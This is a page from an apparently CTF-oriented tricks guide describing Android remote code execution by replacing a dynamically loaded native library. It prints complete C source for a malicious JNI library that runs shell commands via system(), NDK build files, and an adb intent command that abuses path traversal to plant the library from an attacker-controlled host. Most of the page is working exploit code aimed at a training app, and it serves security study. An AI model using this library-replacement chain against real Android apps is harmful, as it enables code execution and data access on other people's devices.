> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-9/android/mobile-android-rce.md).

# Rce

## Android RCE Via Malicious Native Library Replacement

Replace a dynamically loaded native Android library (`.so`) with a malicious version to achieve code execution. The malicious library must implement the expected JNI function signatures the application calls.

First, craft the malicious native code (`payload.c`). All native methods must be declared with the `JNIEXPORT` and `JNICALL` macros. These macros are provided by jni.h to ensure portability across different platforms. These functions receive a `JNIEnv*` pointer as their first argument. This pointer is a pointer to a structure containing interface pointers, providing access to the JVM functions. The second argument is a reference to the object on which the native method is invoked (`jobject` for instance methods) or a reference to the method’s Java class (`jclass` for static methods).

```c
/* payload.c */
#include <jni.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h> // Added for potential logging/debugging if needed

JNIEXPORT jstring JNICALL Java_com_mobilehackinglab_documentviewer_MainActivity_stringFromJNI(JNIEnv *env, jobject thiz) {
    const char *message = "Exploit payload active!";
    return (*env)->NewStringUTF(env, message);
}

JNIEXPORT void JNICALL Java_com_mobilehackinglab_documentviewer_MainActivity_initProFeatures(JNIEnv *env, jobject thiz) {
    // Example of accessing a Java field (if one existed on MainActivity)
    /*
    jfieldID fid;
    jstring jstr;
    const char* str;
    jclass clazz = (*env)->GetObjectClass(env, thiz); // Get the class from the object instance

    fid = (*env)->GetFieldID(env, clazz, "someStringField", "Ljava/lang/String;"); // Replace "someStringField" and signature if needed
    if (fid != NULL) {
        jstr = (*env)->GetObjectField(env, thiz, fid);
        str = (*env)->GetStringUTFChars(env, jstr, NULL);
        if (str != NULL) {
            // Potentially log or use the accessed string
            printf("Accessed Java string field: \"%s\"\n", str);
            (*env)->ReleaseStringUTFChars(env, jstr, str);
        }
    }
    */

    // Example of calling a Java method (if one existed on MainActivity)
    /*
    jmethodID mid;
    jclass cls = (*env)->GetObjectClass(env, thiz);

    mid = (*env)->GetMethodID(cls, "callbackMethod", "(Ljava/lang/String;)V"); // Replace "callbackMethod" and signature if needed
    if (mid != NULL) {
        jstring jstr_callback = (*env)->NewStringUTF(env, "Message from native code");
        if (jstr_callback != NULL) {
            (*env)->CallVoidMethod(thiz, mid, jstr_callback);
        }
    }
    */

    // Original malicious commands
    const char *commands[] = {
        "whoami > /data/data/com.mobilehackinglab.documentviewer/exploit_whoami.txt",
        "id > /data/data/com.mobilehackinglab.documentviewer/exploit_id.txt",
        "echo 'Payload executed successfully!' > /data/data/com.mobilehackinglab.documentviewer/exploit_success.txt",
        "ls -la /data/data/com.mobilehackinglab.documentviewer/ > /data/data/com.mobilehackinglab.documentviewer/exploit_files.txt",
        NULL
    };
    for (int i = 0; commands[i] != NULL; i++) {
        system(commands[i]);
    }
}
```

Beyond simple string return or system calls, JNI allows native code to interact more deeply with the Java side. To access Java fields from native code, one needs to get a reference to the class, then get the field ID, and finally get the field value. Similarly, to call Java methods from native code, the steps are to get a reference to the class, then get the method ID, and finally call the method. This ability could be leveraged by a malicious library to manipulate application state or trigger further actions within the Java layer.

Define the build configuration using `Android.mk` and `Application.mk`:

```makefile
/* Android.mk */
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := docviewer_pro
LOCAL_SRC_FILES := payload.c
include $(BUILD_SHARED_LIBRARY)
```

```makefile
/* Application.mk */
APP_ABI := armeabi-v7a arm64-v8a x86 x86_64
APP_PLATFORM := android-21
```

Compile the malicious library using the Android NDK for the target architecture (ABI):

```bash
ndk-build
```

Deliver the compiled `.so` file (`libdocviewer_pro.so` for the target ABI) to the application's expected loading path. Android applications typically load native libraries from specific directories within their data directory, such as `/data/data/<package>/lib/` or `/data/data/<package>/files/`. In this specific case, leverage a path traversal vulnerability via an intent URI to write the file to `/data/data/com.mobilehackinglab.documentviewer/files/native-libraries/<abi>/`:

```bash
adb shell am start -a android.intent.action.VIEW -n com.mobilehackinglab.documentviewer/.MainActivity -d "http://IPADDRESS:9998/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Fx86_64%2Flibdocviewer_pro.so"
```

Upon the application attempting to load `libdocviewer_pro.so` from the compromised location and calling the `initProFeatures` JNI function, the commands in the malicious library will execute with the application's permissions.
